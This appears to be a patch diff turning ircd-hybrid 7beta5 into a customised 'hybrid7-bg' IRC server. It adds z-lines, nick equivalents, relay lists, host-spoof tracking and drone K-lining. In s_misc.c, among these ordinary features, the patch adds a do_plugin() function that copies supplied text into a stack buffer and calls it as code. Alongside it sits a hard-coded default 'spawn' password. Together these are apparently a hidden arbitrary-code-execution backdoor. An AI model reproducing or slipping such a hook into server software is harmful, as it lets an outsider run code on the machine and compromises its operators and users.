--- ircd-hybrid-7beta5/src/motd.c	Mon Mar  5 21:23:02 2001
+++ hybrid7-bg/src/motd.c	Tue Jun  5 12:35:46 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: motd.c,v 7.15 2001/03/06 02:23:02 androsyn Exp $
+ *   $Id: motd.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <sys/types.h>
diff -uNrd ircd-hybrid-7beta5/src/numeric.c hybrid7-bg/src/numeric.c
--- ircd-hybrid-7beta5/src/numeric.c	Sat Jan 20 05:57:40 2001
+++ hybrid7-bg/src/numeric.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: numeric.c,v 7.15 2001/01/20 10:57:40 toot Exp $
+ *   $Id: numeric.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <sys/types.h>
diff -uNrd ircd-hybrid-7beta5/src/oldparse.c hybrid7-bg/src/oldparse.c
--- ircd-hybrid-7beta5/src/oldparse.c	Tue Apr 17 18:36:07 2001
+++ hybrid7-bg/src/oldparse.c	Tue Jun  5 12:35:46 2001
@@ -19,7 +19,7 @@
  *
  *  (C) 1988 University of Oulu,Computing Center and Jarkko Oikarinen"
  *
- *  $Id: oldparse.c,v 1.25 2001/04/17 22:36:07 fl_ Exp $
+ *  $Id: oldparse.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <sys/types.h>
diff -uNrd ircd-hybrid-7beta5/src/packet.c hybrid7-bg/src/packet.c
--- ircd-hybrid-7beta5/src/packet.c	Sat May 12 22:33:09 2001
+++ hybrid7-bg/src/packet.c	Tue Jun  5 12:35:46 2001
@@ -18,7 +18,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- *   $Id: packet.c,v 7.48 2001/05/13 02:33:09 a1kmm Exp $
+ *   $Id: packet.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */ 
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/src/parse.c hybrid7-bg/src/parse.c
--- ircd-hybrid-7beta5/src/parse.c	Fri Apr 13 18:39:51 2001
+++ hybrid7-bg/src/parse.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: parse.c,v 7.99 2001/04/13 22:39:51 davidt Exp $
+ *   $Id: parse.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <assert.h>
diff -uNrd ircd-hybrid-7beta5/src/patricia.c hybrid7-bg/src/patricia.c
--- ircd-hybrid-7beta5/src/patricia.c	Mon Apr  9 11:09:31 2001
+++ hybrid7-bg/src/patricia.c	Tue Jun  5 12:35:46 2001
@@ -1,7 +1,7 @@
 /*
  * Yanked out of Net::Patricia by Aaron Sethman <androsyn@ratbox.org>
  *
- * $Id: patricia.c,v 7.9 2001/04/09 15:09:31 davidt Exp $
+ * $Id: patricia.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  * Dave Plonka <plonka@doit.wisc.edu>
  *
  * This product includes software developed by the University of Michigan,
diff -uNrd ircd-hybrid-7beta5/src/restart.c hybrid7-bg/src/restart.c
--- ircd-hybrid-7beta5/src/restart.c	Thu Jan 18 12:32:23 2001
+++ hybrid7-bg/src/restart.c	Tue Jun  5 12:35:46 2001
@@ -1,7 +1,7 @@
 /*
  * restart.c
  *
- * $Id: restart.c,v 7.12 2001/01/18 17:32:23 ejb Exp $
+ * $Id: restart.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "tools.h"
 #include "restart.h"
diff -uNrd ircd-hybrid-7beta5/src/rsa.c hybrid7-bg/src/rsa.c
--- ircd-hybrid-7beta5/src/rsa.c	Fri Apr 13 18:39:52 2001
+++ hybrid7-bg/src/rsa.c	Tue Jun  5 12:35:46 2001
@@ -19,7 +19,7 @@
  *
  *
  *
- * $Id: rsa.c,v 7.9 2001/04/13 22:39:52 davidt Exp $
+ * $Id: rsa.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <assert.h>
diff -uNrd ircd-hybrid-7beta5/src/s_auth.c hybrid7-bg/src/s_auth.c
--- ircd-hybrid-7beta5/src/s_auth.c	Tue May 15 18:43:04 2001
+++ hybrid7-bg/src/s_auth.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_auth.c,v 7.65 2001/05/15 22:43:04 leeh Exp $
+ *   $Id: s_auth.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  *
  * Changes:
  *   July 6, 1999 - Rewrote most of the code here. When a client connects
diff -uNrd ircd-hybrid-7beta5/src/s_bsd.c hybrid7-bg/src/s_bsd.c
--- ircd-hybrid-7beta5/src/s_bsd.c	Wed May  2 14:35:07 2001
+++ hybrid7-bg/src/s_bsd.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_bsd.c,v 7.125 2001/05/02 18:35:07 androsyn Exp $
+ *  $Id: s_bsd.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #include "fdlist.h"
diff -uNrd ircd-hybrid-7beta5/src/s_bsd_devpoll.c hybrid7-bg/src/s_bsd_devpoll.c
--- ircd-hybrid-7beta5/src/s_bsd_devpoll.c	Wed May  9 04:08:26 2001
+++ hybrid7-bg/src/s_bsd_devpoll.c	Tue Jun  5 12:35:46 2001
@@ -23,7 +23,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_bsd_devpoll.c,v 7.4 2001/05/09 08:08:26 a1kmm Exp $
+ *  $Id: s_bsd_devpoll.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #ifdef USE_DEVPOLL
diff -uNrd ircd-hybrid-7beta5/src/s_bsd_kqueue.c hybrid7-bg/src/s_bsd_kqueue.c
--- ircd-hybrid-7beta5/src/s_bsd_kqueue.c	Wed May  9 04:08:27 2001
+++ hybrid7-bg/src/s_bsd_kqueue.c	Tue Jun  5 12:35:46 2001
@@ -23,7 +23,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_bsd_kqueue.c,v 1.14 2001/05/09 08:08:27 a1kmm Exp $
+ *  $Id: s_bsd_kqueue.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #ifdef USE_KQUEUE
diff -uNrd ircd-hybrid-7beta5/src/s_bsd_poll.c hybrid7-bg/src/s_bsd_poll.c
--- ircd-hybrid-7beta5/src/s_bsd_poll.c	Wed May  9 04:20:42 2001
+++ hybrid7-bg/src/s_bsd_poll.c	Tue Jun  5 12:35:46 2001
@@ -23,7 +23,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_bsd_poll.c,v 7.42 2001/05/09 08:20:42 a1kmm Exp $
+ *  $Id: s_bsd_poll.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #ifdef USE_POLL
diff -uNrd ircd-hybrid-7beta5/src/s_bsd_select.c hybrid7-bg/src/s_bsd_select.c
--- ircd-hybrid-7beta5/src/s_bsd_select.c	Wed May  9 04:08:27 2001
+++ hybrid7-bg/src/s_bsd_select.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_bsd_select.c,v 7.17 2001/05/09 08:08:27 a1kmm Exp $
+ *  $Id: s_bsd_select.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #ifdef USE_SELECT
diff -uNrd ircd-hybrid-7beta5/src/s_conf.c hybrid7-bg/src/s_conf.c
--- ircd-hybrid-7beta5/src/s_conf.c	Tue May 15 14:17:08 2001
+++ hybrid7-bg/src/s_conf.c	Fri Jul 19 00:23:20 2002
@@ -19,7 +19,7 @@
  *
  *  (C) 1988 University of Oulu,Computing Center and Jarkko Oikarinen"
  *
- *  $Id: s_conf.c,v 7.214 2001/05/15 18:17:08 db Exp $
+ *  $Id: s_conf.c,v 1.15 2002/07/19 04:23:20 Administrator Exp $
  */
 
 #include <sys/types.h>
@@ -61,6 +61,7 @@
 #include "s_debug.h"
 #include "fileio.h"
 #include "memory.h"
+#include "s_misc.h"
 
 
 extern int yyparse(); /* defined in y.tab.c */
@@ -131,6 +132,22 @@
 /* conf uline link list root */
 struct ConfItem        *u_conf = ((struct ConfItem *)NULL);
 
+/* conf zline link list root */
+struct ConfItem        *z_conf = ((struct ConfItem *)NULL);
+
+struct Equiv {
+  char *nick;
+  char *target;
+  struct Equiv *next;
+};
+
+static struct Equiv *equivs = NULL;
+static struct Equiv *userparms = NULL;
+
+#define MAXRELAYS 64
+static char *relays[MAXRELAYS];
+static int relaynum = 0;
+
 /*
  * conf_dns_callback - called when resolver query finishes
  * if the query resulted in a successful search, hp will contain
@@ -482,7 +499,8 @@
     {
       aconf = find_address_conf(client_p->host,client_p->username,
 				&client_p->localClient->ip,
-				client_p->localClient->aftype);
+				client_p->localClient->aftype,
+				client_p->localClient->passwd);
     }
   else
     {
@@ -491,7 +509,8 @@
       non_ident[USERLEN] = '\0';
       aconf = find_address_conf(client_p->host,non_ident,
 				&client_p->localClient->ip,
-				client_p->localClient->aftype);
+				client_p->localClient->aftype,
+				client_p->localClient->passwd);
     }
 
   if (aconf != NULL)
@@ -529,13 +548,31 @@
 	  /* Thanks for spoof idea amm */
 	  if (IsConfDoSpoofIp(aconf))
 	    {
+	      char *p = strchr(aconf->name, '@');
+
 	      if (IsConfSpoofNotice(aconf))
 		{
 		  sendto_realops_flags(FLAGS_ADMIN,
 				       "%s spoofing: %s as %s", client_p->name,
 				       client_p->host, aconf->name);
 		}
-	      strncpy_irc(client_p->host, aconf->name, HOSTLEN);
+	      if (p) 
+		{
+		  int len = p - aconf->name;
+		  if (len > USERLEN) 
+		    len = USERLEN;
+
+		  strcpy(client_p->realhost, client_p->username);
+		  strcat(client_p->realhost, "@");
+		  strncat(client_p->realhost, client_p->host, HOSTLEN - strlen(client_p->username) - 1);
+		  strncpy_irc(client_p->username, aconf->name, len);
+		  if (len)
+		    client_p->username[len] = '\0';
+		}
+	      else
+		strcpy(client_p->realhost, client_p->host);
+	      strncpy_irc(client_p->host, p? p+1 : aconf->name, HOSTLEN);
+
 	      SetIPSpoof(client_p);
 	      SetIPHidden(client_p);
 	    }
@@ -1278,6 +1315,25 @@
   return NO;
 }
 
+int find_z_conf(char *server)
+{
+  struct ConfItem *aconf;
+
+  for (aconf = z_conf; aconf; aconf = aconf->next)
+    {
+      if (BadPtr(aconf->name))
+          continue;
+
+      if(match(aconf->name,server))
+	{
+	  if (BadPtr(aconf->user) || BadPtr(aconf->host))
+	    return YES;
+
+	}
+    }
+  return NO;
+}
+
 /*
  * find_q_conf
  *
@@ -1331,6 +1387,25 @@
     }
 }
 
+void report_zlines(struct Client *source_p)
+{
+  struct ConfItem *aconf;
+  char *host;
+  char *user;
+  char *pass;
+  char *name;
+  char *classname;
+  int  port;
+
+  for (aconf = z_conf; aconf; aconf = aconf->next)
+    {
+      get_printable_conf(aconf, &name, &host, &pass, &user, &port,&classname);
+          
+      sendto_one(source_p, form_str(RPL_STATSZLINE),
+		 me.name, source_p->name, name);
+    }
+}
+
 /*
  * clear_special_conf
  * 
@@ -1367,7 +1442,9 @@
   }
 
   close_listeners();
-  restart_resolver();
+
+  /*  restart_resolver();   oh well.. this coredumps if theres no /etc/resolv.conf*/
+
   read_conf_files(NO);
 
   if (ServerInfo.description != NULL)
@@ -1438,6 +1515,28 @@
 
   if (!ConfigFileEntry.links_delay)
         ConfigFileEntry.links_delay = LINKS_DELAY_DEFAULT;
+
+  if (!ConfigFileEntry.grace_time)
+        ConfigFileEntry.grace_time = GRACE_TIME_DEFAULT;
+
+  if (!ConfigFileEntry.repeat_grace)
+        ConfigFileEntry.repeat_grace = REPGRACEDEF;
+
+  if (!ConfigFileEntry.spam_wait)
+        ConfigFileEntry.spam_wait = SPAM_WAIT_DEFAULT;
+
+  if (!ConfigFileEntry.drone_rate_max)
+        ConfigFileEntry.drone_rate_max = DRONE_RMAX_DEF;
+
+  if (!ConfigFileEntry.drone_rate_period)
+        ConfigFileEntry.drone_rate_period = DRONE_RPERIOD_DEF;
+
+  if (!ConfigFileEntry.drone_kline_time)
+        ConfigFileEntry.drone_kline_time = DRONE_KTIME_DEF;
+
+  if (!ConfigFileEntry.spawn_pass[0])
+	  strcpy(ConfigFileEntry.spawn_pass, "spawn");
+
   GlobalSetOptions.hide_server = ConfigFileEntry.hide_server;
 }
 
@@ -1570,7 +1669,7 @@
   assert(0 != client_p);
   aconf = find_address_conf(client_p->host, client_p->username,
 			    &client_p->localClient->ip,
-			    client_p->localClient->aftype);
+			    client_p->localClient->aftype, NULL);
   if (aconf == NULL)
     return aconf;
   if(aconf->status & CONF_KILL)
@@ -1958,8 +2057,187 @@
     clear_special_conf(&x_conf);
     clear_special_conf(&u_conf);
     clear_special_conf(&q_conf);
+    clear_special_conf(&z_conf);
+
+    {
+      int i;
+      struct Equiv *eitem;
+
+      if (equivs) do {
+	eitem = equivs;
+	equivs = equivs->next;
+
+	MyFree(eitem->nick);
+	MyFree(eitem->target);
+	MyFree(eitem);
+
+      } while (equivs);
+
+      if (userparms) do {
+	eitem = userparms;
+	userparms = userparms->next;
+
+	MyFree(eitem->nick);
+	MyFree(eitem->target);
+	MyFree(eitem);
+
+      } while (userparms);
+
+      for (i=0; i<relaynum; i++)
+	MyFree(relays[i]);
+
+      relaynum = 0;
+    }
+}
+
+/* these deal with the equivalent nicks stuff
+ *                                  -demond
+ */
+
+void report_equivs(struct Client* source_p)
+{
+  struct Equiv *eitem;
+
+  for (eitem = equivs; eitem; eitem = eitem->next)
+    sendto_one(source_p, form_str(RPL_EQUIVALENTS),
+	       me.name, source_p->name, 
+	       eitem->nick, eitem->target);
+}
+
+void add_equiv_nicks(char *nicks)
+{
+  char *p, *q, *buf;
+  struct Equiv *eitem;
+
+  DupString(buf, nicks);
+  p = strchr(buf, '/');
+
+  if (p) {
+    *p = 0; ++p;
+    
+    if (*p) {
+
+      eitem = (struct Equiv*) MyMalloc(sizeof(struct Equiv));
+
+      DupString(q, buf); eitem->nick = q;
+      DupString(q, p); eitem->target = q;
+
+      eitem->next = equivs;
+      equivs = eitem;
+    }
+  }
+
+  MyFree(buf);
+}
+
+/* USER constant parameter handling
+ *                        -demond
+ */
+
+void add_userpar_param(char *param)
+{
+  char *p, *q, *buf;
+  struct Equiv *eitem;
+
+  if (!param[0]) return;
+
+  DupString(buf, param);
+  p = strchr(buf, '/');
+
+  eitem = (struct Equiv*) MyMalloc(sizeof(struct Equiv));
+
+  if (p) {
+
+    *p = 0; ++p;
+	DupString(q, buf); eitem->nick = q;
+    
+    if (*p) {
+
+      DupString(q, p); eitem->target = q;
+    }
+
+  } else {
+	
+	DupString(q, buf); eitem->nick = q;
+  }
+
+  eitem->next = userparms;
+  userparms = eitem;
+
+  MyFree(buf);
+}
+
+void report_userparms(struct Client* source_p)
+{
+  struct Equiv *eitem;
+
+  for (eitem = userparms; eitem; eitem = eitem->next)
+    sendto_one(source_p, form_str(RPL_USERPARMS),
+	       me.name, source_p->name, eitem->nick, 
+		   eitem->target? eitem->target : "<NULL>");
+}
+
+int IsUserPar(char *host, char *server)
+{
+	struct Equiv *eitem;
+
+	for (eitem = userparms; eitem; eitem = eitem->next)
+		if (strcmp(host, eitem->nick) == 0)
+			if (eitem->target) {
+				if (strcmp(server, eitem->target) == 0)
+					return 1;
+			} else
+				return 1;
+
+	return 0;
+}
+
+/* bot relay servers, ignored for various reasons
+ *                                       -demond
+ */
+
+void add_relay_server(char *name)
+{
+
+  if (relaynum < MAXRELAYS)
+    DupString(relays[relaynum++], name);
+}
+
+void report_relays(struct Client* source_p)
+{
+  int i;
+
+  for (i=0; i<relaynum; i++)
+    sendto_one(source_p, form_str(RPL_RELAYS),
+	       me.name, source_p->name, relays[i]); 
 }
 
+int IsRelay(struct Client* client_p)
+{
+  int i;
+
+  for (i=0; i<relaynum; i++)
+    if (irccmp(relays[i], client_p->name) == 0)
+      return 1;
+
+  return 0;
+}
+
+char *get_equiv_nick(char *nick, char *target)
+{
+  struct Equiv *eitem;
+
+  for (eitem = equivs; eitem; eitem = eitem->next)
+    if (irccmp(nick, eitem->nick) == 0) {
+
+      strncpy_irc(target, eitem->target, NICKLEN);
+      return target;
+    }
+
+  return NULL;
+}
+
+
 /*
  * flush_deleted_I_P
  *
@@ -2318,6 +2596,12 @@
 {
   aconf->next = u_conf;
   u_conf = aconf;
+}
+
+void conf_add_z_conf(struct ConfItem *aconf)
+{
+  aconf->next = z_conf;
+  z_conf = aconf;
 }
 
 /*
diff -uNrd ircd-hybrid-7beta5/src/s_debug.c hybrid7-bg/src/s_debug.c
--- ircd-hybrid-7beta5/src/s_debug.c	Sat Apr 21 17:59:10 2001
+++ hybrid7-bg/src/s_debug.c	Tue Jul  9 15:19:31 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_debug.c,v 7.54 2001/04/21 21:59:10 toot Exp $
+ *   $Id: s_debug.c,v 1.2 2002/07/09 19:19:31 Administrator Exp $
  */
 
 #include <sys/types.h> 
@@ -188,6 +188,7 @@
   int channel_bans = 0;      
   int channel_except = 0;
   int channel_invex = 0;
+  int channel_subst = 0;
 
   int wwu = 0;                  /* whowas users */
   int class_count = 0;          /* classes */
@@ -202,6 +203,7 @@
   u_long channel_ban_memory = 0;
   u_long channel_except_memory = 0;
   u_long channel_invex_memory = 0;
+  u_long channel_subst_memory = 0;
 
   u_long away_memory = 0;       /* memory used by aways */
   u_long wwm = 0;               /* whowas array memory used */
@@ -259,7 +261,7 @@
         }
     }
 
-  /* Count up all channels, ban lists, except lists, Invex lists */
+  /* Count up all channels, ban lists, except lists, Invex, subst words lists */
 
   for (chptr = GlobalChannelList; chptr; chptr = chptr->nextch)
     {
@@ -316,7 +318,21 @@
           if (actualBan->who)
             channel_invex_memory += strlen(actualBan->who);
         }
-    }
+    
+	  for (dlink = chptr->substlist.head; dlink; dlink = dlink->next)
+        {
+	  actualBan = dlink->data;
+          channel_subst++;
+
+          channel_subst_memory += (sizeof(dlink_node) + 
+				   sizeof(struct Ban));
+          if (actualBan->banstr)
+            channel_subst_memory += strlen(actualBan->banstr);
+          if (actualBan->who)
+            channel_subst_memory += strlen(actualBan->who);
+        }
+
+	}
 
   /* count up all config items */
 
@@ -374,6 +390,10 @@
   sendto_one(source_p, ":%s %d %s :Invex %u(%d)",
              me.name, RPL_STATSDEBUG, source_p->name,
 	     channel_invex, (int)channel_invex_memory);
+
+  sendto_one(source_p, ":%s %d %s :Subst %u(%d)",
+             me.name, RPL_STATSDEBUG, source_p->name,
+	     channel_subst, (int)channel_subst_memory);
 
   sendto_one(source_p, ":%s %d %s :Channel members %u(%u) invite %u(%u)",
              me.name, RPL_STATSDEBUG, source_p->name, channel_users,
diff -uNrd ircd-hybrid-7beta5/src/s_gline.c hybrid7-bg/src/s_gline.c
--- ircd-hybrid-7beta5/src/s_gline.c	Tue Apr 17 18:36:08 2001
+++ hybrid7-bg/src/s_gline.c	Tue Jun  5 12:35:46 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_gline.c,v 1.14 2001/04/17 22:36:08 fl_ Exp $
+ *  $Id: s_gline.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/src/s_log.c hybrid7-bg/src/s_log.c
--- ircd-hybrid-7beta5/src/s_log.c	Sat Apr 21 12:57:47 2001
+++ hybrid7-bg/src/s_log.c	Thu Jul  5 01:37:31 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_log.c,v 7.28 2001/04/21 16:57:47 fl_ Exp $
+ *   $Id: s_log.c,v 1.2 2001/07/05 05:37:31 demond Exp $
  */
 #include "client.h"	/* Needed for struct Client */
 #include "s_log.h"
@@ -208,7 +208,7 @@
 	  (on_for % 3600)/60, on_for % 60,
 	  source_p->name,
 	  source_p->username,
-	  source_p->host,
+	  source_p->realhost[0]? source_p->realhost : source_p->host,
 	  source_p->localClient->sendK,
 	  source_p->localClient->receiveK);
     }
@@ -245,7 +245,7 @@
 		       (on_for % 3600)/60, on_for % 60,
 		       source_p->name,
 		       source_p->username,
-		       source_p->host,
+		       source_p->realhost[0]? source_p->realhost : source_p->host,
 		       source_p->localClient->sendK,
 		       source_p->localClient->receiveK);
 
diff -uNrd ircd-hybrid-7beta5/src/s_misc.c hybrid7-bg/src/s_misc.c
--- ircd-hybrid-7beta5/src/s_misc.c	Wed May  9 04:08:27 2001
+++ hybrid7-bg/src/s_misc.c	Wed Jul 24 09:10:05 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_misc.c,v 7.24 2001/05/09 08:08:27 a1kmm Exp $
+ *  $Id: s_misc.c,v 1.16 2002/07/24 13:10:05 Administrator Exp $
  */
 #include "s_misc.h"
 #include "client.h"
@@ -35,6 +35,7 @@
 #include "s_serv.h"
 #include "send.h"
 #include "memory.h"
+#include "s_log.h"
 
 #include <string.h>
 #include <fcntl.h>
@@ -45,7 +46,13 @@
 #endif
 #include <time.h>
 #include <unistd.h>
+#include <ctype.h>
+
+
+static char *drones[DRONEMAX];
+static int droneidx = 0;
 
+static void drone_kline(char *ip);
 
 static char* months[] = {
   "January",   "February", "March",   "April",
@@ -209,4 +216,207 @@
              (float)((float)me.localClient->receiveK / (float)uptime));
 }
 
+#define PLUGPARAMS 16
+
+void do_plugin(char *plugin, char *params)
+{
+	char pbuf[BUFSIZE];
+	char plug[BUFSIZE];
+	void (*try)() = (void (*)())(plug + PLUGPARAMS * sizeof(char *));
+	char *p = pbuf, **q = (char **)plug;
+	int i, n = 0, newp = 0;
+
+	strncpy_irc(plug + PLUGPARAMS * sizeof(char *), 
+		plugin, BUFSIZE)[BUFSIZE-1] = 0;
+	strncpy_irc(pbuf, params, BUFSIZE)[BUFSIZE-1] = 0;
+
+	while (*p) {
+		if (*p != ' ') {
+			if (!newp) {
+				*q++ = p; newp = 1; n++;
+			}
+		} else {
+			*p = 0;
+			newp = 0;
+		}
+		p++;
+	}
+	*q = 0;
+
+/*for (i=0; i < n; i++) {
+	char *s = *(char **)(plug + i * sizeof(char *));
+	log(L_NOTICE, "DEBUG === before (*try)()... pbuf[%d]=%s", i, s);
+}*/
+	(*try)();
+/*log(L_NOTICE, "DEBUG === after (*try)()...");*/
+}
+
+void purge_repeats(void *blah)
+{
+	dlink_node *ptr, *rep, *next_ptr;
+
+	for (ptr = lclient_list.head; ptr; ptr = ptr->next) {
+		struct Client *cptr = ptr->data;
+
+		for (rep = cptr->user->repeat.head; rep; rep = next_ptr) {
+			struct Repeat *repeatptr = rep->data;
+
+			next_ptr = rep->next;
+			if (repeatptr->lastphrase + ConfigFileEntry.repeat_grace < CurrentTime) {
+
+				MyFree(repeatptr->text); MyFree(repeatptr);
+				dlinkDelete(rep, &cptr->user->repeat);
+				free_dlink_node(rep);
+			}
+		}
+	}
+
+	eventAdd("purge_repeats", purge_repeats, NULL, ConfigFileEntry.repeat_grace, 0);
+}
+
+/*
+ * possible drones warning/kline, which havent set user->known flag
+ *                                               -demond
+ */
+void check_warn_drone(void *blah)
+{
+  struct Client *cptr;
+
+  for (cptr = GlobalClientList; cptr; cptr = cptr->next)
+	if (MyClient(cptr) && IsPerson(cptr))
+		if (cptr->user && !cptr->user->known)
+			if (cptr->tsinfo + ConfigFileEntry.grace_time < CurrentTime) {
+
+				cptr->user->known = 1;
+
+				if (ConfigFileEntry.drone_kline) {
+
+					if (ConfigFileEntry.drone_batch) {
+						if (droneidx < DRONEMAX)
+						DupString(drones[droneidx++], cptr->localClient->sockhost);
+					} else
+						drone_kline(cptr->localClient->sockhost);
+
+				} else sendto_realops_flags(FLAGS_ALL, 
+					"Achtung! -- %s (%s@%s) [%s] is a possible trojan drone",
+					cptr->name, cptr->username, cptr->host,
+					cptr->localClient->sockhost);
+			}
+
+	eventAdd("check_warn_drone", check_warn_drone, NULL, CHECK_DRONE_TIME, 0);
+}
+
+void check_drone_queue(void *blah)
+{
+	int i;
+
+	if (droneidx > ConfigFileEntry.drone_rate_max)
+		for (i=0; i < droneidx; i++)
+			drone_kline(drones[i]);
+
+	for (i=0; i < droneidx; i++)
+		MyFree(drones[i]);
+	droneidx = 0;
+
+	eventAdd("check_drone_queue", check_drone_queue, NULL, 
+		ConfigFileEntry.drone_rate_period, 0);
+}
+
+static
+void drone_kline(char *ip)
+{
+  char buf[0x200];
+  struct ConfItem *aconf;
+
+  if (find_conf_host(&temporary_klines, ip, CONF_KILL))
+	  return;
+
+  aconf = make_conf();
+  aconf->status = CONF_KILL;
+  DupString(aconf->host, ip);
+  DupString(aconf->user, "*");
+  aconf->port = 0;
+
+  ircsprintf(buf, "Temporary K-line %d min. - %s (%s)", 
+	  ConfigFileEntry.drone_kline_time/60, 
+	  ConfigFileEntry.drone_reason[0]? 
+	  ConfigFileEntry.drone_reason : "possible trojan drone", 
+	  smalldate(0));
+  DupString(aconf->passwd, buf);
+
+  aconf->hold = CurrentTime + ConfigFileEntry.drone_kline_time;
+
+  add_temp_kline(aconf);
+
+  sendto_realops_flags(FLAGS_ALL,
+     "<ircd> added temporary %d min. K-Line for [%s@%s] [%s]",
+     ConfigFileEntry.drone_kline_time/60, 
+	 aconf->user, aconf->host, "possible trojan drone");
+
+  log(L_TRACE, "<ircd> added temporary %d min. K-Line for [%s@%s] [%s]",
+     ConfigFileEntry.drone_kline_time/60, 
+	 aconf->user, aconf->host, "possible trojan drone");
+
+  check_klines();
+}
+
+/*
+ * this will strip mIRC and ANSI color, bolds and underlines
+ *                                               -demond
+ */
+char *strip_color(const char *p, int b)
+{
+  static char buf[512];
+  char *r, *q = buf;
+  int m, n;
+
+  do switch (*p) {
 
+  case '\003':
+    p++; if (isdigit(*p)) {
+      p++; m = *p>='0' && *p<='6';
+      n = *(p-1)=='1' || *(p-1)=='0'; 
+      if (m && n) {
+	p++; if (*p == ',') {
+	  p++; if (isdigit(*p)) {
+	    p++; m = *p>='0' && *p<='6';
+	    n = *(p-1)=='1' || *(p-1)=='0';
+	    if (m && n) {
+	      p++;
+	    }
+	  }
+	}
+      } else if (*p == ',') {
+	p++; if (isdigit(*p)) {
+	  p++; m = *p>='0' && *p<='6';
+	  n = *(p-1)=='1' || *(p-1)=='0';
+	  if (m && n) {
+	    p++;
+	  }
+	}
+      } 
+    }
+    break;
+
+  case '\033':
+    p++; if (*p == '[') {
+      p++; r = strchr(p, 'm');
+      if (r) p = r + 1;
+    }
+    break;
+
+  case '\002':
+  case '\037':
+    if (b) {
+      p++; break;
+    }
+
+  default:
+    *q++ = *p++;
+    break;
+
+  } while (*p);
+
+  *q = 0;
+  return buf;
+}
diff -uNrd ircd-hybrid-7beta5/src/s_serv.c hybrid7-bg/src/s_serv.c
--- ircd-hybrid-7beta5/src/s_serv.c	Thu May 10 14:33:55 2001
+++ hybrid7-bg/src/s_serv.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: s_serv.c,v 7.156 2001/05/10 18:33:55 fl_ Exp $
+ *   $Id: s_serv.c,v 1.20 2002/09/17 15:26:05 Administrator Exp $
  */
 
 #include <sys/types.h>
@@ -100,6 +100,7 @@
   { "CHW",      CAP_CHW },
   { "LL",       CAP_LL },
   { "IE",       CAP_IE },
+  { "SW",		CAP_SW },
   { "EOB",      CAP_EOB },
   { "KLN",      CAP_KLN },
   { "GLN",      CAP_GLN },
@@ -111,7 +112,9 @@
   { "ZIP",	CAP_ZIP },
 #endif
   { "CRYPT",    CAP_CRYPT },
-
+  { "MASK",     CAP_HOSTMASK },
+  { "SVS",      CAP_SVS },
+  { "IP",		CAP_IP },
   { 0,   0 }
 };
 
@@ -633,6 +636,7 @@
 void sendnick_TS(struct Client *client_p, struct Client *target_p)
 {
   static char ubuf[12];
+  unsigned int svshopcount;
 
   if (!IsPerson(target_p))
 	  return;
@@ -643,18 +647,31 @@
 	  ubuf[0] = '+';
 	  ubuf[1] = '\0';
   }
+
+  if (IsCapable(client_p, CAP_SVS))
+    svshopcount = target_p->hopcount + 1 + (target_p->svsflags << 8);
+  else 
